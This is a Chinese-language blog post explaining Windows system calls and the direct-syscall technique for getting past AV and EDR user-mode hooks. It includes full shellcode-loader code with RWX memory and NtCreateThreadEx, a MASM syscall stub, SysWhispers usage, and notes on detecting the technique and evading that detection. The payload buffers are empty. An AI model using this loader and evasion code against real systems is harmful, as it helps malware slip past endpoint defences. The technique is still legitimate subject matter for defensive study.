浅谈Syscall

一、简介

Syscallsystem call,是最近在红队领域比较热门的一种手法,主要用来规避AV、EDR类的设备检测。

Windows有两种处理器访问模式:用户模式和内核模式。使用Ring级来描述就是用户模式为Ring 3,内核模式为Ring 0,如图:
20220304092548main-qimg-0b92e99e7c25b92f52ec9d25f945b912

用户的代码运行在用户模式下,而驱动程序和操作系统代码运行在内核模式下,两者相互隔离,避免用户级别的代码影响到操作系统的稳定。

用户在调用一些与系统相关的API函数时,实际上是先从用户模式切换到内核模式,调用结束后再回到用户模式,通过Process Monitor可以看到这个过程:
20220304092604syscall1
用户代码调用CreateFile(),它由Kernel32.dll导出,这里显示为KernelBase.dll是因为自Windows 7和Windows Server 2008 R2开始,微软将一些功能进行了重定位,具体:新 Low-Level 二进制文件 - Win32 apps | Microsoft Docs

可以看到之后调用了ntdll.dllZwCreateFile(),有时候是NtCreateFile()两者对此处代码来说区别不大

进入内核模式后,还能看到调用了ntoskrnl.exeNtCreateFile(),这次调用和上一次有什么区别?

使用WinDbg来反汇编ntdll!NtCreateFile:

0:001> x ntdll!NtCreateFile
00007ffc`6388d800 ntdll!NtCreateFile (NtCreateFile)
0:001> u 00007ffc`6388d800
ntdll!NtCreateFile:
00007ffc`6388d800 4c8bd1          mov     r10,rcx
00007ffc`6388d803 b855000000      mov     eax,55h
00007ffc`6388d808 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffc`6388d810 7503            jne     ntdll!NtCreateFile+0x15 (00007ffc`6388d815)
00007ffc`6388d812 0f05            syscall
00007ffc`6388d814 c3              ret
00007ffc`6388d815 cd2e            int     2Eh
00007ffc`6388d817 c3              ret

可以看到ntdll!NtCreateFile非常简短,首先将函数参数放入寄存器,之后将CreateFile()对应的系统服务号0x0055放入eax中,微软没有公开这些服务号的对应关系,但有大佬整理了一份:Windows X86-64 System Call Table (XP/2003/Vista/2008/7/2012/8/10).

之后有一个syscall指令(X86系统使用sysenter),它将把函数参数复制到内核模式寄存器中,再执行CreateFile()的内核版本,调用完成后,返回值给用户模式的应用程序。

现在可以得到答案了,ntdll.dllNtCreateFile()仅仅只是一层封装,真正的实现在ntoskrnl.exe中。

二、使用Syscall

许多EDR类防护设备会对敏感的API进行hook,但有可能只是hook了Ring 3级别的API,通过直接进行系统调用就能绕过hook.

1. 剖析函数定义

以一个简单的shellcode加载器为例:

#include "stdafx.h"
#include "Windows.h"

int main()
{
	unsigned char shellcode[] = ""; // calc x64

	void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, shellcode, sizeof shellcode);
	CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, NULL);
	Sleep(1000);
	return 0;
}

观察CreateThread()的调用栈:
20220304092615syscall2
依次为:kernel32!CreateFile->KernelBase!CreateRemoteThreadEx->ntdll!NtCreateThreadEx

利用IDA打开kernel32.dll,能看到CreateFile实际上是CreateThreadStub,调用了CreateRemoteThreadEx
20220304092633syscall3

同样打开KernelBase.dll,可以找到NtCreateThreadExCreateRemoteThreadEx里被调用:
20220304092642syscall4

微软并没有提供NtCreateThreadEx的文档,所以需要我们自己去分析此函数的参数都有哪些:

  v13 = NtCreateThreadEx(
          &ThreadHandle,
          0x1FFFFFi64,
          v37,
          hProcess,
          v36,
          v35,
          v14,
          0i64,
          v15,
          v34 & -(__int64)(v10 != 0),
          v45);

x64平台代码默认的调用约定是最左边 4 个位置的整数值参数从左到右分别在 RCX、RDX、R8 和 R9 中传递,第 5 个和更高位置的参数在堆栈上依次传递。

20220304092657syscall7
  • 参数一为&ThreadHandle
  • 参数二为0x1FFFFFi64
  • 参数三为v37,在IDA里能够看到:
v9 = BaseFormatObjectAttributes(&v44, lpThreadAttributes, 0i64, &v37);

跟入BaseFormatObjectAttributes
20220304092711syscall5
如果a3为0,那么a4也将为0,所以v37为0.

  • 参数四为hProcess
  • 参数五为v36,即lpStartAddress,压栈地址为rsp+20h,此时已经调用了call指令,被调函数的返回地址入栈,rsp-8,所以最终的参数地址为rsp+28h,参数五的值是0000018b8ac60000
    20220304092902syscall8
  • 参数六为v35,即lpParameter,值为0
  • 参数七为v14,有一个判断流程,值为0:
    20220304092718syscall6
  • 参数八值为0,
  • 参数九为v15,值也为0
  • 参数十为v34 & -(__int64)(v10 != 0),值为0
  • 参数十一为v45,是一个数组

最终,得到NtCreateThreadEx的定义为:

typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
(
	OUT PHANDLE hThread,
	IN ACCESS_MASK DesiredAccess,
	IN PVOID ObjectAttributes,
	IN HANDLE ProcessHandle,
	IN PVOID lpStartAddress,
	IN PVOID lpParameter,
	IN ULONG Flags,
	IN SIZE_T StackZeroBits,
	IN SIZE_T SizeOfStackCommit,
	IN SIZE_T SizeOfStackReserve,
	OUT PVOID lpBytesBuffer
);

2. 直接调用NtCreateThreadEx

现在我们要越过CreateThread()直接调用NtCreateThreadEx(),以规避EDR对用户层API函数的hook,下面是实现代码:

#include <iostream>
#include <Windows.h>

typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
(
	OUT PHANDLE hThread,
	IN ACCESS_MASK DesiredAccess,
	IN PVOID ObjectAttributes,
	IN HANDLE ProcessHandle,
	IN PVOID lpStartAddress,
	IN PVOID lpParameter,
	IN ULONG Flags,
	IN SIZE_T StackZeroBits,
	IN SIZE_T SizeOfStackCommit,
	IN SIZE_T SizeOfStackReserve,
	OUT PVOID lpBytesBuffer
	);

int main()
{
	HANDLE pHandle = NULL;
	HANDLE tHandle = NULL;

	unsigned char shellcode[] = ""; // calc x64
	void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, shellcode, sizeof shellcode);
	HMODULE hModule = LoadLibrary(L"ntdll.dll");
	pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
	pfnNtCreateThreadEx NtCreateThreadEx = (pfnNtCreateThreadEx)GetProcAddress(hModule, "NtCreateThreadEx");
	NtCreateThreadEx(&tHandle, 0x1FFFFF, NULL, pHandle, exec, NULL, FALSE, NULL, NULL, NULL, NULL);
	Sleep(1000);
	CloseHandle(tHandle);
	CloseHandle(pHandle);
} 

可以看到,调用栈里没有出现CreateThread()
20220304092732syscall9

3. 调用Syscall

现在已经去掉了CreateThread()的调用特征,但如果EDR对ntdll.dll也做了hook,我们就需要利用Syscall来规避了。

在Visual Studio中生成自定义外部依赖,选择masm
20220304092744syscall10

新建一个syscall.asm,属性的项类型选择Microsoft Macro Assembler,内容写入:

.code
NtCreateThreadEx proc
mov r10,rcx
mov eax,0C1h
syscall
ret
NtCreateThreadEx endp
end

这里的系统服务号需要根据目标系统自行修改,我的测试环境为Win10 20H2 x64.

其他部分代码,只需要稍微修改以下之前的即可:

#include <iostream>
#include <Windows.h>

EXTERN_C NTSTATUS NtCreateThreadEx
(
	OUT PHANDLE hThread,
	IN ACCESS_MASK DesiredAccess,
	IN PVOID ObjectAttributes,
	IN HANDLE ProcessHandle,
	IN PVOID lpStartAddress,
	IN PVOID lpParameter,
	IN ULONG Flags,
	IN SIZE_T StackZeroBits,
	IN SIZE_T SizeOfStackCommit,
	IN SIZE_T SizeOfStackReserve,
	OUT PVOID lpBytesBuffer
	);

int main()
{
	HANDLE pHandle = NULL;
	HANDLE tHandle = NULL;

	unsigned char shellcode[] = ""; // calc x64
	void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, shellcode, sizeof shellcode);
	HMODULE hModule = LoadLibrary(L"ntdll.dll");
	pHandle = GetCurrentProcess();
	NtCreateThreadEx(&tHandle, 0x1FFFFF, NULL, pHandle, exec, NULL, FALSE, NULL, NULL, NULL, NULL);
	Sleep(1000);
	CloseHandle(tHandle);
	CloseHandle(pHandle);
} 

效果如下:
20220304092753syscall11

这里在用户层已经没有了调用ntdll!NtCreateThreadEx的痕迹,U5那里的NtCreateThreadEx只是因为自定义的函数也叫这个名字,更改一下即可:
20220304092801syscall12

三、利用工具

关于Syscall最有名的工具应该就是SyswhispersSysWhispers2,分别来介绍一下。

Syswhispers可以根据你要规避的函数自动生成头文件和.asm文件,并且还能适配系统版本:

# 导出所有函数,并且兼容所有支持版本的Windows
py .\syswhispers.py --preset all -o syscalls_all

# 仅仅导出常规函数,兼容Windows 7, 8, 10.
py .\syswhispers.py --preset common -o syscalls_common

# 导出NtProtectVirtualMemory和NtWriteVirtualMemory,兼容所有支持版本的Windows
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem

# 导出所有兼容Windows 7, 8, 10的函数
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X

继续以NtCreateThreadEx为例:
20220304092813syscall13

在项目中导入这两个作为头文件,在Visual Studio中生成自定义外部依赖,选择masm;属性的项类型选择Microsoft Macro Assembler,代码示例:

#include <iostream>
#include <Windows.h>
#include "syscalls_78X.h"

int main()
{
	HANDLE pHandle = NULL;
	HANDLE tHandle = NULL;

	unsigned char shellcode[] = "";
	void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, shellcode, sizeof shellcode);
	HMODULE hModule = LoadLibrary(L"ntdll.dll");
	pHandle = GetCurrentProcess();
	NtCreateThreadEx(&tHandle, 0x1FFFFF, NULL, pHandle, exec, NULL, FALSE, NULL, NULL, NULL, NULL);
	Sleep(1000);
	CloseHandle(tHandle);
	CloseHandle(pHandle);
} 

效果和之前是一样的。

SysWhispers2SysWhispers的改进,相较后者,它使用了系统调用地址排序的方式来解决系统调用号匹配的问题,具体步骤为:

  • 获取ntdll.dll的所有导出函数
  • 计算函数名的哈希,将其和对应的函数地址保存在SW2_SYSCALL_ENTRY结构体中
  • 按照函数地址,将一个SW2_SYSCALL_ENTRY从小到大排序
  • 需要调用某个函数时,计算出函数名的哈希,遍历对比SW2_SYSCALL_ENTRY获得数组序号,这个序号就是系统调用号

一开始没能理解这样做的原理,后面经过@伍默以及@hl0rey的点拨,用IDA看了一下ntdll.dll的导出函数以及对应的系统调用号,发现:
20220304092826syscall14
20220304092833syscall15
20220304092839syscall16

所以按地址从小到大排序后,数组的下标就相当于系统调用号。这里的规则只适用于ntdll.dll,目前最新版本的Windows 10也还适用。

SysWhispers2会生成3个文件,多了一个.c文件,里面是地址排序和根据哈希查找的实现,需要导入到源代码部分。

四、检测与对抗

对于这种防御规避手段,也有研究者找到了相应的检测方法。
正常系统调用都是在ntdll.dll的地址范围内完成的,而使用直接syscall的方式是自己实现ntdll的相关导出函数,这样只要检测调用syscall的地址是否在ntdll.dll的地址范围内就可以分辨哪些是正常系统调用,哪些是恶意软件。

研究者还给出了一个绕过上面检测的方法。EDR不能hook每个函数,所以可以先获取正常系统调用的地址,再使用jmp指令跳转到正常系统调用处,以规避上面的检测方式,文章地址:
https://passthehashbrowns.github.io/hiding-your-syscalls

参考文章

https://www.anquanke.com/post/id/261582

https://blog.csdn.net/weixin_30480859/article/details/113370270

https://passthehashbrowns.github.io/detecting-direct-syscalls-with-frida

https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/

https://idiotc4t.com/defense-evasion/overwrite-winapi-bypassav